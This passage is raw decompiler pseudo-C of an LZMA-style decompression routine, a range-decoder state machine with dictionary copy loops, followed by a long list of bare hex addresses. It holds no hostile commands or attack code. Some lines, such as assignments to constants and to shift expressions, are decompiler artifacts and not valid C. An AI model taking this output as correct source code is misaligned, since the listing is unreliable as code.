                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L60:
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												L55:
                                                                                    												__al =  *(__ebp - 0x44);
                                                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    												goto L56;
                                                                                    											}
                                                                                    											L61:
                                                                                    											__eax =  *(__ebp - 0x58);
                                                                                    											__edx = __ebx + __ebx;
                                                                                    											__ecx =  *(__ebp - 0x10);
                                                                                    											__esi = __edx + __eax;
                                                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edi = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												_t217 = __edx + 1; // 0x1
                                                                                    												__ebx = _t217;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edi;
                                                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L60;
                                                                                    											} else {
                                                                                    												goto L58;
                                                                                    											}
                                                                                    										case 0x10:
                                                                                    											L110:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x10;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t366 = __ebp - 0x70;
                                                                                    											 *_t366 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t366;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											goto L112;
                                                                                    										case 0x11:
                                                                                    											L69:
                                                                                    											__esi =  *(__ebp - 0x58);
                                                                                    											 *(__ebp - 0x84) = 0x12;
                                                                                    											L132:
                                                                                    											 *(_t612 - 0x54) = _t605;
                                                                                    											goto L133;
                                                                                    										case 0x12:
                                                                                    											goto L0;
                                                                                    										case 0x13:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												_t469 = __ebp - 0x58;
                                                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    												__eflags =  *_t469;
                                                                                    												 *(__ebp - 0x30) = 0x10;
                                                                                    												 *(__ebp - 0x40) = 8;
                                                                                    												goto L144;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x4c);
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                                                    											 *(__ebp - 0x30) = 8;
                                                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    											goto L130;
                                                                                    										case 0x14:
                                                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    											__eax =  *(__ebp - 0x80);
                                                                                    											L140:
                                                                                    											 *(_t612 - 0x88) = _t533;
                                                                                    											goto L1;
                                                                                    										case 0x15:
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    											__al = __al & 0x000000fd;
                                                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    											goto L121;
                                                                                    										case 0x16:
                                                                                    											__eax =  *(__ebp - 0x30);
                                                                                    											__eflags = __eax - 4;
                                                                                    											if(__eax >= 4) {
                                                                                    												_push(3);
                                                                                    												_pop(__eax);
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 4);
                                                                                    											 *(__ebp - 0x40) = 6;
                                                                                    											__eax = __eax << 7;
                                                                                    											 *(__ebp - 0x7c) = 0x19;
                                                                                    											 *(__ebp - 0x58) = __eax;
                                                                                    											goto L145;
                                                                                    										case 0x17:
                                                                                    											goto L145;
                                                                                    										case 0x18:
                                                                                    											L146:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x18;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t484 = __ebp - 0x70;
                                                                                    											 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t484;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L148:
                                                                                    											_t487 = __ebp - 0x48;
                                                                                    											 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    											__eflags =  *_t487;
                                                                                    											goto L149;
                                                                                    										case 0x19:
                                                                                    											__eflags = __ebx - 4;
                                                                                    											if(__ebx < 4) {
                                                                                    												 *(__ebp - 0x2c) = __ebx;
                                                                                    												L120:
                                                                                    												_t394 = __ebp - 0x2c;
                                                                                    												 *_t394 =  *(__ebp - 0x2c) + 1;
                                                                                    												__eflags =  *_t394;
                                                                                    												L121:
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax;
                                                                                    												if(__eax == 0) {
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__eflags = __eax -  *(__ebp - 0x60);
                                                                                    												if(__eax >  *(__ebp - 0x60)) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    												__eax =  *(__ebp - 0x30);
                                                                                    												_t401 = __ebp - 0x60;
                                                                                    												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    												__eflags =  *_t401;
                                                                                    												goto L124;
                                                                                    											}
                                                                                    											__ecx = __ebx;
                                                                                    											__eax = __ebx;
                                                                                    											__ecx = __ebx >> 1;
                                                                                    											__eax = __ebx & 0x00000001;
                                                                                    											__ecx = (__ebx >> 1) - 1;
                                                                                    											__al = __al | 0x00000002;
                                                                                    											__eax = (__ebx & 0x00000001) << __cl;
                                                                                    											__eflags = __ebx - 0xe;
                                                                                    											 *(__ebp - 0x2c) = __eax;
                                                                                    											if(__ebx >= 0xe) {
                                                                                    												__ebx = 0;
                                                                                    												 *(__ebp - 0x48) = __ecx;
                                                                                    												L103:
                                                                                    												__eflags =  *(__ebp - 0x48);
                                                                                    												if( *(__ebp - 0x48) <= 0) {
                                                                                    													__eax = __eax + __ebx;
                                                                                    													 *(__ebp - 0x40) = 4;
                                                                                    													 *(__ebp - 0x2c) = __eax;
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__eax =  *(__ebp - 4) + 0x644;
                                                                                    													__eflags = __eax;
                                                                                    													L109:
                                                                                    													__ebx = 0;
                                                                                    													 *(__ebp - 0x58) = __eax;
                                                                                    													 *(__ebp - 0x50) = 1;
                                                                                    													 *(__ebp - 0x44) = 0;
                                                                                    													 *(__ebp - 0x48) = 0;
                                                                                    													L113:
                                                                                    													__eax =  *(__ebp - 0x40);
                                                                                    													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    														_t392 = __ebp - 0x2c;
                                                                                    														 *_t392 =  *(__ebp - 0x2c) + __ebx;
                                                                                    														__eflags =  *_t392;
                                                                                    														goto L120;
                                                                                    													}
                                                                                    													__eax =  *(__ebp - 0x50);
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													__esi = __edi + __eax;
                                                                                    													 *(__ebp - 0x54) = __esi;
                                                                                    													__ax =  *__esi;
                                                                                    													__ecx = __ax & 0x0000ffff;
                                                                                    													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    													__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    													if( *(__ebp - 0xc) >= __edx) {
                                                                                    														__ecx = 0;
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    														__ecx = 1;
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    														__ebx = 1;
                                                                                    														__ecx =  *(__ebp - 0x48);
                                                                                    														__ebx = 1 << __cl;
                                                                                    														__ecx = 1 << __cl;
                                                                                    														__ebx =  *(__ebp - 0x44);
                                                                                    														__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    														__cx = __ax;
                                                                                    														__cx = __ax >> 5;
                                                                                    														__eax = __eax - __ecx;
                                                                                    														__edi = __edi + 1;
                                                                                    														__eflags = __edi;
                                                                                    														 *(__ebp - 0x44) = __ebx;
                                                                                    														 *__esi = __ax;
                                                                                    														 *(__ebp - 0x50) = __edi;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x10) = __edx;
                                                                                    														0x800 = 0x800 - __ecx;
                                                                                    														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    														 *__esi = __dx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														L112:
                                                                                    														_t369 = __ebp - 0x48;
                                                                                    														 *_t369 =  *(__ebp - 0x48) + 1;
                                                                                    														__eflags =  *_t369;
                                                                                    														goto L113;
                                                                                    													} else {
                                                                                    														goto L110;
                                                                                    													}
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0xc);
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    													__ecx =  *(__ebp - 0x10);
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    													__ebx = __ebx | 0x00000001;
                                                                                    													__eflags = __ebx;
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													L102:
                                                                                    													_t339 = __ebp - 0x48;
                                                                                    													 *_t339 =  *(__ebp - 0x48) - 1;
                                                                                    													__eflags =  *_t339;
                                                                                    													goto L103;
                                                                                    												} else {
                                                                                    													goto L100;
                                                                                    												}
                                                                                    											}
                                                                                    											__edx =  *(__ebp - 4);
                                                                                    											__eax = __eax - __ebx;
                                                                                    											 *(__ebp - 0x40) = __ecx;
                                                                                    											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    											goto L109;
                                                                                    										case 0x1a:
                                                                                    											L56:
                                                                                    											__eflags =  *(__ebp - 0x64);
                                                                                    											if( *(__ebp - 0x64) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x1a;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x68);
                                                                                    											__al =  *(__ebp - 0x5c);
                                                                                    											__edx =  *(__ebp - 8);
                                                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    											 *( *(__ebp - 0x68)) = __al;
                                                                                    											__ecx =  *(__ebp - 0x14);
                                                                                    											 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    											__eax = __ecx + 1;
                                                                                    											__edx = 0;
                                                                                    											_t192 = __eax %  *(__ebp - 0x74);
                                                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                                                    											__edx = _t192;
                                                                                    											goto L80;
                                                                                    										case 0x1b:
                                                                                    											L76:
                                                                                    											__eflags =  *(__ebp - 0x64);
                                                                                    											if( *(__ebp - 0x64) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x1b;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x14);
                                                                                    											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    											__eflags = __eax -  *(__ebp - 0x74);
                                                                                    											if(__eax >=  *(__ebp - 0x74)) {
                                                                                    												__eax = __eax +  *(__ebp - 0x74);
                                                                                    												__eflags = __eax;
                                                                                    											}
                                                                                    											__edx =  *(__ebp - 8);
                                                                                    											__cl =  *(__eax + __edx);
                                                                                    											__eax =  *(__ebp - 0x14);
                                                                                    											 *(__ebp - 0x5c) = __cl;
                                                                                    											 *(__eax + __edx) = __cl;
                                                                                    											__eax = __eax + 1;
                                                                                    											__edx = 0;
                                                                                    											_t275 = __eax %  *(__ebp - 0x74);
                                                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                                                    											__edx = _t275;
                                                                                    											__eax =  *(__ebp - 0x68);
                                                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    											_t284 = __ebp - 0x64;
                                                                                    											 *_t284 =  *(__ebp - 0x64) - 1;
                                                                                    											__eflags =  *_t284;
                                                                                    											 *( *(__ebp - 0x68)) = __cl;
                                                                                    											L80:
                                                                                    											 *(__ebp - 0x14) = __edx;
                                                                                    											goto L81;
                                                                                    										case 0x1c:
                                                                                    											while(1) {
                                                                                    												L124:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													break;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												__cl =  *(__eax + __edx);
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												 *(__ebp - 0x5c) = __cl;
                                                                                    												 *(__eax + __edx) = __cl;
                                                                                    												__eax = __eax + 1;
                                                                                    												__edx = 0;
                                                                                    												_t415 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t415;
                                                                                    												__eax =  *(__ebp - 0x68);
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    												__eflags =  *(__ebp - 0x30);
                                                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                                                    												 *(__ebp - 0x14) = _t415;
                                                                                    												if( *(__ebp - 0x30) > 0) {
                                                                                    													continue;
                                                                                    												} else {
                                                                                    													L81:
                                                                                    													 *(__ebp - 0x88) = 2;
                                                                                    													goto L1;
                                                                                    												}
                                                                                    											}
                                                                                    											 *(__ebp - 0x88) = 0x1c;
                                                                                    											L170:
                                                                                    											_push(0x22);
                                                                                    											_pop(_t567);
                                                                                    											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
                                                                                    											_t535 = 0;
                                                                                    											L172:
                                                                                    											return _t535;
                                                                                    									}
                                                                                    								}
                                                                                    								L171:
                                                                                    								_t535 = _t534 | 0xffffffff;
                                                                                    								goto L172;
                                                                                    							}
                                                                                    						}
                                                                                    						__eax =  *(__ebp - 0x50);
                                                                                    						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    						__eax =  *(__ebp - 0x58);
                                                                                    						__esi = __edx + __eax;
                                                                                    						 *(__ebp - 0x54) = __esi;
                                                                                    						__ax =  *__esi;
                                                                                    						__edi = __ax & 0x0000ffff;
                                                                                    						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    						if( *(__ebp - 0xc) >= __ecx) {
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    							__cx = __ax;
                                                                                    							__cx = __ax >> 5;
                                                                                    							__eax = __eax - __ecx;
                                                                                    							__edx = __edx + 1;
                                                                                    							 *__esi = __ax;
                                                                                    							 *(__ebp - 0x50) = __edx;
                                                                                    						} else {
                                                                                    							 *(__ebp - 0x10) = __ecx;
                                                                                    							0x800 = 0x800 - __edi;
                                                                                    							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    							 *__esi = __cx;
                                                                                    						}
                                                                                    						if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    							goto L148;
                                                                                    						} else {
                                                                                    							goto L146;
                                                                                    						}
                                                                                    					}
                                                                                    					goto L1;
                                                                                    				}
                                                                                    			}








                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00000000
                                                                                    0x00406f61
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x00000000
                                                                                    0x00407195
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00000000
                                                                                    0x004069b2
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406cfd
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
